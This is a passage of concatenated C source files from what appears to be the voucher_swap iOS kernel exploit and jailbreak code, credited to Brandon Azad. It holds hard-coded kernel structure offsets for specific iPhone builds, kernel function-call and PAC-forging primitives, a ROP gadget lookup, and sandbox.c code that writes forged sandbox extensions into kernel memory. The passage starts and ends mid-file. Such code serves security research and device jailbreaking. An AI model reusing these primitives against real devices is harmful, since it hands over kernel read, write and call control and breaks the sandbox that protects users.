251 | return stage2_kernel_forge_pacxa(pointer, context, false);
252 | #else
253 | return pointer;
254 | #endif
255 | }
256 |
257 | uint64_t
258 | kernel_xpaci(uint64_t pointer) {
259 | #if __arm64e__
260 | return xpaci(pointer);
261 | #else
262 | return pointer;
263 | #endif
264 | }
265 |
266 | uint64_t
267 | kernel_xpacd(uint64_t pointer) {
268 | #if __arm64e__
269 | return xpacd(pointer);
270 | #else
271 | return pointer;
272 | #endif
273 | }
274 |
--------------------------------------------------------------------------------
/pac.h:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_call/pac.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__KERNEL_CALL__PAC_H_
6 | #define VOUCHER_SWAP__KERNEL_CALL__PAC_H_
7 |
8 | #include
9 | #include
10 | #include
11 |
12 | /*
13 | * stage2_kernel_call_init
14 | *
15 | * Description:
16 | * Initialize stage 2 of kernel function calling.
17 | *
18 | * Initializes:
19 | * stage2_kernel_call_7v()
20 | * kernel_forge_pacia()
21 | * kernel_forge_pacia_with_type()
22 | * kernel_forge_pacda()
23 | */
24 | bool stage2_kernel_call_init(void);
25 |
26 | /*
27 | * stage2_kernel_call_deinit
28 | *
29 | * Description:
30 | * Deinitialize stage 2 of kernel function calling.
31 | */
32 | void stage2_kernel_call_deinit(void);
33 |
34 | /*
35 | * stage2_kernel_call_7v
36 | *
37 | * Description:
38 | * Call a kernel function using our stage 2 execute primitive.
39 | *
40 | * Restrictions:
41 | * At most 7 arguments can be passed.
42 | * The return value is truncated to 32 bits.
43 | * At stage 2, only arguments X1 - X6 are controlled.
44 | */
45 | uint32_t stage2_kernel_call_7v(uint64_t function,
46 | size_t argument_count, const uint64_t arguments[]);
47 |
48 | uint64_t
49 | kernel_forge_pacda(uint64_t pointer, uint64_t context);
50 |
51 |
52 |
53 | #endif
54 |
--------------------------------------------------------------------------------
/parameters.c:
--------------------------------------------------------------------------------
1 | /*
2 | * parameters.c
3 | * Brandon Azad
4 | */
5 | #define PARAMETERS_EXTERN
6 | #include "parameters.h"
7 |
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 |
14 | #include "log.h"
15 | #include "platform.h"
16 | #include "platform_match.h"
17 |
18 | // ---- Initialization routines -------------------------------------------------------------------
19 |
20 | // A struct describing an initialization.
21 | struct initialization {
22 | const char *devices;
23 | const char *builds;
24 | void (*init)(void);
25 | };
26 |
27 | // Run initializations matching this platform.
28 | static size_t
29 | run_initializations(struct initialization *inits, size_t count) {
30 | size_t match_count = 0;
31 | for (size_t i = 0; i < count; i++) {
32 | struct initialization *init = &inits[i];
33 | if (platform_matches(init->devices, init->builds)) {
34 | init->init();
35 | match_count++;
36 | }
37 | }
38 | return match_count;
39 | }
40 |
41 | // A helper macro to get the number of elements in a static array.
42 | #define ARRAY_COUNT(x) (sizeof(x) / sizeof((x)[0]))
43 |
44 | // ---- General system parameters -----------------------------------------------------------------
45 |
46 | // Initialization for general system parameters.
47 | static void
48 | init__system_parameters() {
49 | STATIC_ADDRESS(kernel_base) = 0xFFFFFFF007004000;
50 | kernel_slide_step = 0x200000;
51 | message_size_for_kmsg_zone = 76;
52 | kmsg_zone_size = 256;
53 | max_ool_ports_per_message = 16382;
54 | gc_step = 2 * MB;
55 | }
56 |
57 | // A list of general system parameter initializations by platform.
58 | static struct initialization system_parameters[] = {
59 | { "*", "*", init__system_parameters },
60 | };
61 |
62 | // ---- Offset initialization ---------------------------------------------------------------------
63 |
64 | // Initialization for iPhone11,8 16C50 (and similar devices).
65 | static void
66 | offsets__iphone11_8__16C50() {
67 | SIZE(ipc_entry) = 0x18;
68 | OFFSET(ipc_entry, ie_object) = 0;
69 | OFFSET(ipc_entry, ie_bits) = 8;
70 | OFFSET(ipc_entry, ie_request) = 16;
71 |
72 | SIZE(ipc_port) = 0xa8;
73 | BLOCK_SIZE(ipc_port) = 0x4000;
74 | OFFSET(ipc_port, ip_bits) = 0;
75 | OFFSET(ipc_port, ip_references) = 4;
76 | OFFSET(ipc_port, waitq_flags) = 24;
77 | OFFSET(ipc_port, imq_messages) = 64;
78 | OFFSET(ipc_port, imq_msgcount) = 80;
79 | OFFSET(ipc_port, imq_qlimit) = 82;
80 | OFFSET(ipc_port, ip_receiver) = 96;
81 | OFFSET(ipc_port, ip_kobject) = 104;
82 | OFFSET(ipc_port, ip_nsrequest) = 112;
83 | OFFSET(ipc_port, ip_requests) = 128;
84 | OFFSET(ipc_port, ip_mscount) = 156;
85 | OFFSET(ipc_port, ip_srights) = 160;
86 |
87 | SIZE(ipc_port_request) = 0x10;
88 | OFFSET(ipc_port_request, ipr_soright) = 0;
89 |
90 | OFFSET(ipc_space, is_table_size) = 0x14;
91 | OFFSET(ipc_space, is_table) = 0x20;
92 |
93 | SIZE(ipc_voucher) = 0x50;
94 | BLOCK_SIZE(ipc_voucher) = 0x4000;
95 |
96 | OFFSET(proc, p_pid) = 0x60;
97 | OFFSET(proc, p_ucred) = 0xf8;
98 |
99 | SIZE(sysctl_oid) = 0x50;
100 | OFFSET(sysctl_oid, oid_parent) = 0x0;
101 | OFFSET(sysctl_oid, oid_link) = 0x8;
102 | OFFSET(sysctl_oid, oid_kind) = 0x14;
103 | OFFSET(sysctl_oid, oid_handler) = 0x30;
104 | OFFSET(sysctl_oid, oid_version) = 0x48;
105 | OFFSET(sysctl_oid, oid_refcnt) = 0x4c;
106 |
107 | OFFSET(task, lck_mtx_type) = 0xb;
108 | OFFSET(task, ref_count) = 0x10;
109 | OFFSET(task, active) = 0x14;
110 | OFFSET(task, map) = 0x20;
111 | OFFSET(task, itk_space) = 0x300;
112 | OFFSET(task, bsd_info) = 0x368;
113 | }
114 |
115 | // Initialization for iPhone10,1 16B92 (and similar devices).
116 | static void
117 | offsets__iphone10_1__16B92() {
118 | offsets__iphone11_8__16C50();
119 |
120 | OFFSET(task, bsd_info) = 0x358;
121 | }
122 |
123 | // Initialize offset parameters whose values are computed from other parameters.
124 | static void
125 | initialize_computed_offsets() {
126 | COUNT_PER_BLOCK(ipc_port) = BLOCK_SIZE(ipc_port) / SIZE(ipc_port);
127 | COUNT_PER_BLOCK(ipc_voucher) = BLOCK_SIZE(ipc_voucher) / SIZE(ipc_voucher);
128 | }
129 |
130 | // A list of offset initializations by platform.
131 | static struct initialization offsets[] = {
132 | { "iPhone11,*", "16A405-16C104", offsets__iphone11_8__16C50 },
133 | { "iPhone10,1", "16B92-16C101", offsets__iphone10_1__16B92 },
134 | { "*", "*", initialize_computed_offsets },
135 | };
136 |
137 | // The minimum number of offsets that must match in order to declare a platform initialized.
138 | static const size_t min_offsets = 2;
139 |
140 | // ---- Public API --------------------------------------------------------------------------------
141 |
142 | bool
143 | parameters_init() {
144 | // Get general platform info.
145 | platform_init();
146 | // Initialize general system parameters.
147 | run_initializations(system_parameters, ARRAY_COUNT(system_parameters));
148 | // Initialize offsets.
149 | size_t count = run_initializations(offsets, ARRAY_COUNT(offsets));
150 | if (count < min_offsets) {
151 | ERROR("no offsets for %s %s", platform.machine, platform.osversion);
152 | return false;
153 | }
154 | return true;
155 | }
156 |
--------------------------------------------------------------------------------
/parameters.h:
--------------------------------------------------------------------------------
1 | /*
2 | * parameters.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__PARAMETERS_H_
6 | #define VOUCHER_SWAP__PARAMETERS_H_
7 |
8 | #include
9 | #include
10 | #include
11 |
12 | #ifdef PARAMETERS_EXTERN
13 | #define extern PARAMETERS_EXTERN
14 | #endif
15 |
16 | // Some helpful units.
17 | #define KB (1024uLL)
18 | #define MB (1024uLL * KB)
19 | #define GB (1024uLL * MB)
20 |
21 | // Generate the name for an offset.
22 | #define OFFSET(base_, object_) _##base_##__##object_##__offset_
23 |
24 | // Generate the name for the size of an object.
25 | #define SIZE(object_) _##object_##__size_
26 |
27 | // Generate the name for the size of a zalloc block of objects.
28 | #define BLOCK_SIZE(object_) _##object_##__block_size_
29 |
30 | // Generate the name for the number of elements in a zalloc block.
31 | #define COUNT_PER_BLOCK(object_) _##object_##__per_block_
32 |
33 | // Generate the name for the address of an object.
34 | #define ADDRESS(object_) _##object_##__address_
35 |
36 | // Generate the name for the static (unslid) address of an object.
37 | #define STATIC_ADDRESS(object_) _##object_##__static_address_
38 |
39 | // A convenience macro for accessing a field of a structure.
40 | #define FIELD(object_, struct_, field_, type_) \
41 | ( *(type_ *) ( ((uint8_t *) object_) + OFFSET(struct_, field_) ) )
42 |
43 | // The static base address of the kernel.
44 | extern uint64_t STATIC_ADDRESS(kernel_base);
45 |
46 | // The kernel_slide granularity.
47 | extern uint64_t kernel_slide_step;
48 |
49 | // Messages up to this size are allocated from the dedicated ipc.kmsgs zone.
50 | extern size_t message_size_for_kmsg_zone;
51 |
52 | // The size of elements in ipc.kmsgs.
53 | extern size_t kmsg_zone_size;
54 |
55 | // The maximum number of OOL ports in a single message.
56 | extern size_t max_ool_ports_per_message;
57 |
58 | // How much to allocate between sleeps while trying to trigger garbage collection.
59 | extern size_t gc_step;
60 |
61 | // Parameters for ipc_entry.
62 | extern size_t SIZE(ipc_entry);
63 | extern size_t OFFSET(ipc_entry, ie_object);
64 | extern size_t OFFSET(ipc_entry, ie_bits);
65 | extern size_t OFFSET(ipc_entry, ie_request);
66 |
67 | // Parameters for ipc_port.
68 | extern size_t SIZE(ipc_port);
69 | extern size_t BLOCK_SIZE(ipc_port);
70 | extern size_t COUNT_PER_BLOCK(ipc_port);
71 | extern size_t OFFSET(ipc_port, ip_bits);
72 | extern size_t OFFSET(ipc_port, ip_references);
73 | extern size_t OFFSET(ipc_port, waitq_flags);
74 | extern size_t OFFSET(ipc_port, imq_messages);
75 | extern size_t OFFSET(ipc_port, imq_msgcount);
76 | extern size_t OFFSET(ipc_port, imq_qlimit);
77 | extern size_t OFFSET(ipc_port, ip_receiver);
78 | extern size_t OFFSET(ipc_port, ip_kobject);
79 | extern size_t OFFSET(ipc_port, ip_nsrequest);
80 | extern size_t OFFSET(ipc_port, ip_requests);
81 | extern size_t OFFSET(ipc_port, ip_mscount);
82 | extern size_t OFFSET(ipc_port, ip_srights);
83 |
84 | // Parameters for ipc_port_request.
85 | extern size_t SIZE(ipc_port_request);
86 | extern size_t OFFSET(ipc_port_request, ipr_soright);
87 |
88 | // Parameters for struct ipc_space.
89 | extern size_t OFFSET(ipc_space, is_table_size);
90 | extern size_t OFFSET(ipc_space, is_table);
91 |
92 | // Parameters for ipc_voucher.
93 | extern size_t SIZE(ipc_voucher);
94 | extern size_t BLOCK_SIZE(ipc_voucher);
95 | extern size_t COUNT_PER_BLOCK(ipc_voucher);
96 |
97 | // Parameters for struct proc.
98 | extern size_t OFFSET(proc, p_pid);
99 | extern size_t OFFSET(proc, p_ucred);
100 |
101 | // Parameters for struct sysctl_oid.
102 | extern size_t SIZE(sysctl_oid);
103 | extern size_t OFFSET(sysctl_oid, oid_parent);
104 | extern size_t OFFSET(sysctl_oid, oid_link);
105 | extern size_t OFFSET(sysctl_oid, oid_kind);
106 | extern size_t OFFSET(sysctl_oid, oid_handler);
107 | extern size_t OFFSET(sysctl_oid, oid_version);
108 | extern size_t OFFSET(sysctl_oid, oid_refcnt);
109 |
110 | // Parameters for struct task.
111 | extern size_t OFFSET(task, lck_mtx_type);
112 | extern size_t OFFSET(task, ref_count);
113 | extern size_t OFFSET(task, active);
114 | extern size_t OFFSET(task, map);
115 | extern size_t OFFSET(task, itk_space);
116 | extern size_t OFFSET(task, bsd_info);
117 |
118 | /*
119 | * parameters_init
120 | *
121 | * Description:
122 | * Initialize the parameters for the system.
123 | */
124 | bool parameters_init(void);
125 |
126 | #undef extern
127 |
128 | #endif
129 |
--------------------------------------------------------------------------------
/patchfinder64.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include "patchfinder64.h"
5 | #include "offsets.h"
6 |
7 | extern struct offsets off;
8 |
9 | uint64_t find_add_x0_x0_0x40_ret() {
10 | return off.gadget;
11 | }
12 |
13 | uint64_t find_allproc() {
14 | return off.allproc;
15 | }
16 |
17 | uint64_t find_OSBoolean_True() {
18 | return off.OSBooleanTrue;
19 | }
20 |
21 | uint64_t find_OSBoolean_False() {
22 | return off.OSBooleanFalse;
23 | }
24 |
25 | uint64_t find_zone_map_ref() {
26 | return off.zone_map_ref;
27 | }
28 |
29 | uint64_t find_osunserializexml() {
30 | return off.OSUnserializeXML;
31 | }
32 |
33 | uint64_t find_smalloc() {
34 | return off.smalloc;
35 | }
36 |
--------------------------------------------------------------------------------
/patchfinder64.h:
--------------------------------------------------------------------------------
1 | #ifndef PATCHFINDER64_H_
2 | #define PATCHFINDER64_H_
3 |
4 | #define CACHED_FIND(type, name) \
5 | type __##name(void);\
6 | type name(void) { \
7 | type cached = 0; \
8 | if (cached == 0) { \
9 | cached = __##name(); \
10 | } \
11 | return cached; \
12 | } \
13 | type __##name(void)
14 |
15 | uint64_t find_allproc(void);
16 | uint64_t find_add_x0_x0_0x40_ret(void);
17 | uint64_t find_OSBoolean_True(void);
18 | uint64_t find_OSBoolean_False(void);
19 | uint64_t find_zone_map_ref(void);
20 | uint64_t find_osunserializexml(void);
21 | uint64_t find_smalloc(void);
22 |
23 | #endif
24 |
--------------------------------------------------------------------------------
/platform.c:
--------------------------------------------------------------------------------
1 | /*
2 | * platform.c
3 | * Brandon Azad
4 | */
5 | #define PLATFORM_EXTERN
6 | #include "platform.h"
7 |
8 | #include
9 | #include
10 | #include
11 | #include
12 |
13 | #include "log.h"
14 |
15 | // ---- Initialization ----------------------------------------------------------------------------
16 |
17 | void
18 | platform_init() {
19 | // Only initialize once.
20 | static bool initialized = false;
21 | if (initialized) {
22 | return;
23 | }
24 | initialized = true;
25 | // Set the page size.
26 | platform.page_size = vm_kernel_page_size;
27 | page_size = platform.page_size;
28 | // Get the machine name (e.g. iPhone11,8).
29 | struct utsname u = {};
30 | int error = uname(&u);
31 | assert(error == 0);
32 | strncpy((char *)platform.machine, u.machine, sizeof(platform.machine));
33 | // Get the build (e.g. 16C50).
34 | size_t osversion_size = sizeof(platform.osversion);
35 | error = sysctlbyname("kern.osversion",
36 | (void *)platform.osversion, &osversion_size, NULL, 0);
37 | assert(error == 0);
38 | // Get basic host info.
39 | mach_port_t host = mach_host_self();
40 | assert(MACH_PORT_VALID(host));
41 | host_basic_info_data_t basic_info;
42 | mach_msg_type_number_t count = HOST_BASIC_INFO_COUNT;
43 | kern_return_t kr = host_info(host, HOST_BASIC_INFO, (host_info_t) &basic_info, &count);
44 | assert(kr == KERN_SUCCESS);
45 | platform.cpu_type = basic_info.cpu_type;
46 | platform.cpu_subtype = basic_info.cpu_subtype;
47 | platform.physical_cpu = basic_info.physical_cpu;
48 | platform.logical_cpu = basic_info.logical_cpu;
49 | platform.memory_size = basic_info.max_mem;
50 | mach_port_deallocate(mach_task_self(), host);
51 | // Log basic platform info.
52 | DEBUG_TRACE(1, "platform: %s %s", platform.machine, platform.osversion);
53 | }
54 |
--------------------------------------------------------------------------------
/platform.h:
--------------------------------------------------------------------------------
1 | /*
2 | * platform.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__PLATFORM_H_
6 | #define VOUCHER_SWAP__PLATFORM_H_
7 |
8 | #include
9 | #include
10 | #include
11 |
12 | #ifdef PLATFORM_EXTERN
13 | #define extern PLATFORM_EXTERN
14 | #endif
15 |
16 | /*
17 | * platform
18 | *
19 | * Description:
20 | * Basic information about the platform.
21 | */
22 | struct platform {
23 | /*
24 | * platform.machine
25 | *
26 | * Description:
27 | * The name of the platform, e.g. iPhone11,8.
28 | */
29 | const char machine[32];
30 | /*
31 | * platform.osversion
32 | *
33 | * Description:
34 | * The version of the OS build, e.g. 16C50.
35 | */
36 | const char osversion[32];
37 | /*
38 | * platform.cpu_type
39 | *
40 | * Description:
41 | * The platform CPU type.
42 | */
43 | cpu_type_t cpu_type;
44 | /*
45 | * platform.cpu_subtype
46 | *
47 | * Description:
48 | * The platform CPU subtype.
49 | */
50 | cpu_subtype_t cpu_subtype;
51 | /*
52 | * platform.physical_cpu
53 | *
54 | * Description:
55 | * The number of physical CPU cores.
56 | */
57 | unsigned physical_cpu;
58 | /*
59 | * platform.logical_cpu
60 | *
61 | * Description:
62 | * The number of logical CPU cores.
63 | */
64 | unsigned logical_cpu;
65 | /*
66 | * platform.page_size
67 | *
68 | * Description:
69 | * The kernel page size.
70 | */
71 | size_t page_size;
72 | /*
73 | * platform.memory_size
74 | *
75 | * Description:
76 | * The size of physical memory on the device.
77 | */
78 | size_t memory_size;
79 | };
80 | extern struct platform platform;
81 |
82 | /*
83 | * page_size
84 | *
85 | * Description:
86 | * The kernel page size on this platform, made available globally for convenience.
87 | */
88 | extern size_t page_size;
89 |
90 | /*
91 | * platform_init
92 | *
93 | * Description:
94 | * Initialize the platform.
95 | */
96 | void platform_init(void);
97 |
98 | #undef extern
99 |
100 | #endif
101 |
--------------------------------------------------------------------------------
/platform_match.c:
--------------------------------------------------------------------------------
1 | /*
2 | * platform_match.c
3 | * Brandon Azad
4 | */
5 | #include "platform_match.h"
6 |
7 | #include
8 | #include
9 |
10 | #include "log.h"
11 | #include "platform.h"
12 |
13 | // ---- Matching helper functions -----------------------------------------------------------------
14 |
15 | // Advance past any spaces in a string.
16 | static void
17 | skip_spaces(const char **p) {
18 | const char *pch = *p;
19 | while (*pch == ' ') {
20 | pch++;
21 | }
22 | *p = pch;
23 | }
24 |
25 | // ---- Device matching ---------------------------------------------------------------------------
26 |
27 | // A wildcard device version number.
28 | #define ANY ((unsigned)(-1))
29 |
30 | // Parse the version part of a device string.
31 | static bool
32 | parse_device_version_internal(const char *device_version, unsigned *major, unsigned *minor,
33 | bool allow_wildcard, const char **end) {
34 | const char *p = device_version;
35 | // Parse the major version, which might be a wildcard.
36 | unsigned maj = 0;
37 | if (allow_wildcard && *p == '*') {
38 | maj = ANY;
39 | p++;
40 | } else {
41 | for (;;) {
42 | char ch = *p;
43 | if (ch < '0' || '9' < ch) {
44 | break;
45 | }
46 | maj = maj * 10 + (ch - '0');
47 | p++;
48 | }
49 | }
50 | // Make sure we got the comma.
51 | if (*p != ',') {
52 | return false;
53 | }
54 | p++;
55 | // Parse the minor version, which might be a wildcard.
56 | unsigned min = 0;
57 | if (allow_wildcard && *p == '*') {
58 | min = ANY;
59 | p++;
60 | } else {
61 | for (;;) {
62 | char ch = *p;
63 | if (ch < '0' || '9' < ch) {
64 | break;
65 | }
66 | min = min * 10 + (ch - '0');
67 | p++;
68 | }
69 | }
70 | // If end is NULL, then require that we're at the end of the string. Else, return the end
71 | // of what we parsed.
72 | if (end == NULL) {
73 | if (*p != 0) {
74 | return false;
75 | }
76 | } else {
77 | *end = p;
78 | }
79 | // Return the values.
80 | *major = maj;
81 | *minor = min;
82 | return true;
83 | }
84 |
85 | // Parse a device name.
86 | static bool
87 | parse_device_internal(const char *device, char *device_type, unsigned *major, unsigned *minor,
88 | bool allow_wildcard, const char **end) {
89 | // "iPhone11,8" -> "iPhone", 11, 8; "iPad7,*" -> "iPad", 7, ANY
90 | // If this device name doesn't have a comma then we don't know how to parse it. Just set
91 | // the whole thing as the device type.
92 | const char *comma = strchr(device, ',');
93 | if (comma == NULL) {
94 | unknown:
95 | strcpy(device_type, device);
96 | *major = 0;
97 | *minor = 0;
98 | return false;
99 | }
100 | // Walk backwards from the comma to the start of the major version.
101 | if (comma == device) {
102 | goto unknown;
103 | }
104 | const char *p = comma;
105 | for (;;) {
106 | char ch = *(p - 1);
107 | if (!(('0' <= ch && ch <= '9') || (allow_wildcard && ch == '*'))) {
108 | break;
109 | }
110 | p--;
111 | if (p == device) {
112 | goto unknown;
113 | }
114 | }
115 | if (p == comma) {
116 | goto unknown;
117 | }
118 | size_t device_type_length = p - device;
119 | // Parse the version numbers.
120 | bool ok = parse_device_version_internal(p, major, minor, allow_wildcard, end);
121 | if (!ok) {
122 | goto unknown;
123 | }
124 | // Return the device_type string. This is last in case it's shared with the device string.
125 | strncpy(device_type, device, device_type_length);
126 | device_type[device_type_length] = 0;
127 | return true;
128 | }
129 |
130 | // Parse a device name.
131 | static bool
132 | parse_device(const char *device, char *device_type, unsigned *major, unsigned *minor) {
133 | return parse_device_internal(device, device_type, major, minor, false, NULL);
134 | }
135 |
136 | // Parse a device range string.
137 | static bool
138 | parse_device_range(const char *device, char *device_type,
139 | unsigned *min_major, unsigned *min_minor,
140 | unsigned *max_major, unsigned *max_minor,
141 | const char **end) {
142 | char dev_type[32];
143 | const char *next = device;
144 | // First parse a full device.
145 | bool ok = parse_device_internal(next, dev_type, min_major, min_minor, true, &next);
146 | if (!ok) {
147 | unknown:
148 | strcpy(device_type, device);
149 | *min_major = 0;
150 | *min_minor = 0;
151 | *max_major = 0;
152 | *max_minor = 0;
153 | return false;
154 | }
155 | // Optionally parse a separator and more versions.
156 | if (*next == 0) {
157 | *max_major = *min_major;
158 | *max_minor = *min_minor;
159 | } else if (*next == '-') {
160 | next++;
161 | ok = parse_device_version_internal(next, max_major, max_minor, true, &next);
162 | if (!ok) {
163 | goto unknown;
164 | }
165 | }
166 | *end = next;
167 | // Return the device_type.
168 | strcpy(device_type, dev_type);
169 | return true;
170 | }
171 |
172 | // Check if the given device number is numerically within range.
173 | static bool
174 | numerical_device_match(unsigned major, unsigned minor,
175 | unsigned min_major, unsigned min_minor, unsigned max_major, unsigned max_minor) {
176 | if (major < min_major && min_major != ANY) {
177 | return false;
178 | }
179 | if ((major == min_major || min_major == ANY)
180 | && minor < min_minor && min_minor != ANY) {
181 | return false;
182 | }
183 | if (major > max_major && max_major != ANY) {
184 | return false;
185 | }
186 | if ((major == max_major || max_major == ANY)
187 | && minor > max_minor && max_minor != ANY) {
188 | return false;
189 | }
190 | return true;
191 | }
192 |
193 | // Match a specific device against a device match list.
194 | static bool
195 | match_device(const char *device, const char *devices) {
196 | if (devices == NULL || strcmp(devices, "*") == 0) {
197 | return true;
198 | }
199 | // Parse this device.
200 | char device_type[32];
201 | unsigned major, minor;
202 | parse_device(device, device_type, &major, &minor);
203 | // Parse the match list.
204 | const char *next = devices;
205 | while (*next != 0) {
206 | // Parse the next device range.
207 | char match_device_type[32];
208 | unsigned min_major, min_minor, max_major, max_minor;
209 | parse_device_range(next, match_device_type, &min_major, &min_minor,
210 | &max_major, &max_minor, &next);
211 | if (*next != 0) {
212 | skip_spaces(&next);
213 | assert(*next == '|');
214 | next++;
215 | skip_spaces(&next);
216 | assert(*next != 0);
217 | }
218 | // Check if this is a match.
219 | if (strcmp(device_type, match_device_type) == 0
220 | && numerical_device_match(major, minor,
221 | min_major, min_minor, max_major, max_minor)) {
222 | return true;
223 | }
224 | }
225 | return false;
226 | }
227 |
228 | // ---- Build matching ----------------------------------------------------------------------------
229 |
230 | // Parse a build version string into a uint64_t. Maintains comparison order.
231 | static uint64_t
232 | parse_build_version(const char *build, const char **end) {
233 | // 16A5288q -> [2 bytes][1 byte][3 bytes][1 byte]
234 | const char *p = build;
235 | // Parse out the major number.
236 | uint64_t major = 0;
237 | for (;;) {
238 | char ch = *p;
239 | if (ch < '0' || '9' < ch) {
240 | break;
241 | }
242 | major = major * 10 + (ch - '0');
243 | p++;
244 | }
245 | // Parse out the minor.
246 | uint64_t minor = 0;
247 | for (;;) {
248 | char ch = *p;
249 | if (ch < 'A' || 'Z' < ch) {
250 | break;
251 | }
252 | minor = (minor << 8) + ch;
253 | p++;
254 | }
255 | // Parse out the patch.
256 | uint64_t patch = 0;
257 | for (;;) {
258 | char ch = *p;
259 | if (ch < '0' || '9' < ch) {
260 | break;
261 | }
262 | patch = patch * 10 + (ch - '0');
263 | p++;
264 | }
265 | // Parse out the alpha.
266 | uint64_t alpha = 0;
267 | for (;;) {
268 | char ch = *p;
269 | if (ch < 'a' || 'z' < ch) {
270 | break;
271 | }
272 | alpha = (alpha << 8) + ch;
273 | p++;
274 | }
275 | // Construct the full build version.
276 | if (end != NULL) {
277 | *end = p;
278 | }
279 | return ((major << (8 * 5))
280 | | (minor << (8 * 4))
281 | | (patch << (8 * 1))
282 | | (alpha << (8 * 0)));
283 | }
284 |
285 | // Parse a build version range string.
286 | static void
287 | parse_build_version_range(const char *builds, uint64_t *version_min, uint64_t *version_max) {
288 | const char *next = builds;
289 | uint64_t min, max;
290 | // Parse the lower range.
291 | if (*next == '*') {
292 | min = 0;
293 | next++;
294 | } else {
295 | min = parse_build_version(next, &next);
296 | }
297 | // Parse the upper range (if it exists).
298 | if (*next == 0) {
299 | assert(min != 0);
300 | max = min;
301 | } else {
302 | skip_spaces(&next);
303 | assert(*next == '-');
304 | next++;
305 | skip_spaces(&next);
306 | if (*next == '*') {
307 | max = (uint64_t)(-1);
308 | next++;
309 | } else {
310 | max = parse_build_version(next, &next);
311 | }
312 | assert(*next == 0);
313 | }
314 | *version_min = min;
315 | *version_max = max;
316 | }
317 |
318 | // Check if the given build version string matches the build range.
319 | static bool
320 | match_build(const char *build, const char *builds) {
321 | if (builds == NULL || strcmp(builds, "*") == 0) {
322 | return true;
323 | }
324 | uint64_t version = parse_build_version(build, NULL);
325 | uint64_t version_min, version_max;
326 | parse_build_version_range(builds, &version_min, &version_max);
327 | return (version_min <= version && version <= version_max);
328 | }
329 |
330 | // ---- Public API --------------------------------------------------------------------------------
331 |
332 | bool
333 | platform_matches_device(const char *device_range) {
334 | return match_device(platform.machine, device_range);
335 | }
336 |
337 | bool
338 | platform_matches_build(const char *build_range) {
339 | return match_build(platform.osversion, build_range);
340 | }
341 |
342 | bool
343 | platform_matches(const char *device_range, const char *build_range) {
344 | return platform_matches_device(device_range)
345 | && platform_matches_build(build_range);
346 | }
347 |
--------------------------------------------------------------------------------
/platform_match.h:
--------------------------------------------------------------------------------
1 | /*
2 | * platform_match.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__PLATFORM_MATCH_H_
6 | #define VOUCHER_SWAP__PLATFORM_MATCH_H_
7 |
8 | #include
9 |
10 | /*
11 | * platform_matches_device
12 | *
13 | * Description:
14 | * Check whether the current platform matches the specified device or range of devices.
15 | *
16 | * Match format:
17 | * The match string may either specify a single device glob or a range of device globs. For
18 | * example:
19 | *
20 | * "iPhone11,8" Matches only iPhone11,8
21 | * "iPhone11,*" Matches all iPhone11 devices, including e.g. iPhone11,4.
22 | * "iPhone*,*" Matches all iPhone devices.
23 | * "iPhone11,4-iPhone11,8" Matches all iPhone devices between 11,4 and 11,8, inclusive.
24 | * "iPhone10,*-11,*" Matches all iPhone10 and iPhone11 devices.
25 | *
26 | * As a special case, "*" matches all devices.
27 | */
28 | bool platform_matches_device(const char *device_range);
29 |
30 | /*
31 | * platform_matches_build
32 | *
33 | * Description:
34 | * Check whether the current platform matches the specified build version or range of build
35 | * versions.
36 | *
37 | * Match format:
38 | * The match string may either specify a single build version or a range of build versions.
39 | * For example:
40 | *
41 | * "16C50" Matches only build 16C50.
42 | * "16B92-16C50" Matches all builds between 16B92 and 16C50, inclusive.
43 | *
44 | * As a special case, either build version may be replaced with "*" to indicate a lack of
45 | * lower or upper bound:
46 | *
47 | * "*-16B92" Matches all builds up to and including 16B92.
48 | * "16C50-*" Matches build 16C50 and later.
49 | * "*" Matches all build versions.
50 | */
51 | bool platform_matches_build(const char *build_range);
52 |
53 | /*
54 | * platform_matches
55 | *
56 | * Description:
57 | * A convenience function that combines platform_matches_device() and
58 | * platform_matches_build().
59 | */
60 | bool platform_matches(const char *device_range, const char *build_range);
61 |
62 | #endif
63 |
--------------------------------------------------------------------------------
/sandbox.c:
--------------------------------------------------------------------------------
1 | #include "kmem.h"
2 | #include "kern_utils.h"
3 | #include "kernel_call.h"
4 | #include "sandbox.h"
5 | #include "patchfinder64.h"
6 | #include "kexecute.h"
7 |
8 |
9 | typedef uint64_t extension_hdr_t;
10 | typedef uint64_t extension_t;
11 |
12 | struct extension_hdr {
13 | /* 0x00 */ extension_hdr_t next;
14 | /* 0x08 */ extension_t ext_lst;
15 | /* 0x10 */ char desc[];
16 | /* 0x18 */
17 | };
18 |
19 | struct extension {
20 | extension_t next;
21 | uint64_t desc; // always 0xffffffffffffffff;
22 | uint8_t something[20]; // all zero
23 | uint16_t num; // one
24 | uint8_t type; // see ext_type enum
25 | uint8_t num3; // one
26 | uint32_t subtype; // either 0 or 4 (or whatever unhex gave?..)
27 | uint32_t num4; // another number
28 | void* data; // a c string, meaning depends on type and hdr which had this extension
29 | uint64_t data_len; // strlen(data)
30 | uint16_t num5; // another one!
31 | uint8_t something_2[14]; // something v2.0
32 | uint64_t ptr3; // it's always 0 for files
33 | uint64_t ptr4; // idk
34 | };
35 |
36 | uint64_t _smalloc(uint64_t size) {
37 | return kernel_call_7(find_smalloc(), 1, size);
38 | }
39 |
40 | uint64_t smalloc(uint64_t size) {
41 | uint64_t ret = _smalloc(size);
42 |
43 | if (ret != 0) {
44 | // IOAlloc's of small size go to zalloc
45 | ret = zm_fix_addr(ret);
46 | }
47 |
48 | return ret;
49 | }
50 |
51 | uint64_t sstrdup(const char* s) {
52 | size_t slen = strlen(s) + 1;
53 |
54 | uint64_t ks = smalloc(slen);
55 | if (ks) {
56 | kwrite(ks, s, slen);
57 | }
58 |
59 | return ks;
60 | }
61 |
62 | // Notice: path should *not* end with '/' !
63 | uint64_t extension_create_file(const char* path, uint64_t nextptr) {
64 | size_t slen = strlen(path);
65 |
66 | if (path[slen - 1] == '/') {
67 | printf("No traling slash in path pls");
68 | return 0;
69 | }
70 |
71 | uint64_t ext_p = smalloc(sizeof(struct extension));
72 | uint64_t ks = sstrdup(path);
73 |
74 | if (ext_p && ks) {
75 | struct extension ext;
76 | bzero(&ext, sizeof(ext));
77 | ext.next = (extension_t)nextptr;
78 | ext.desc = 0xffffffffffffffff;
79 |
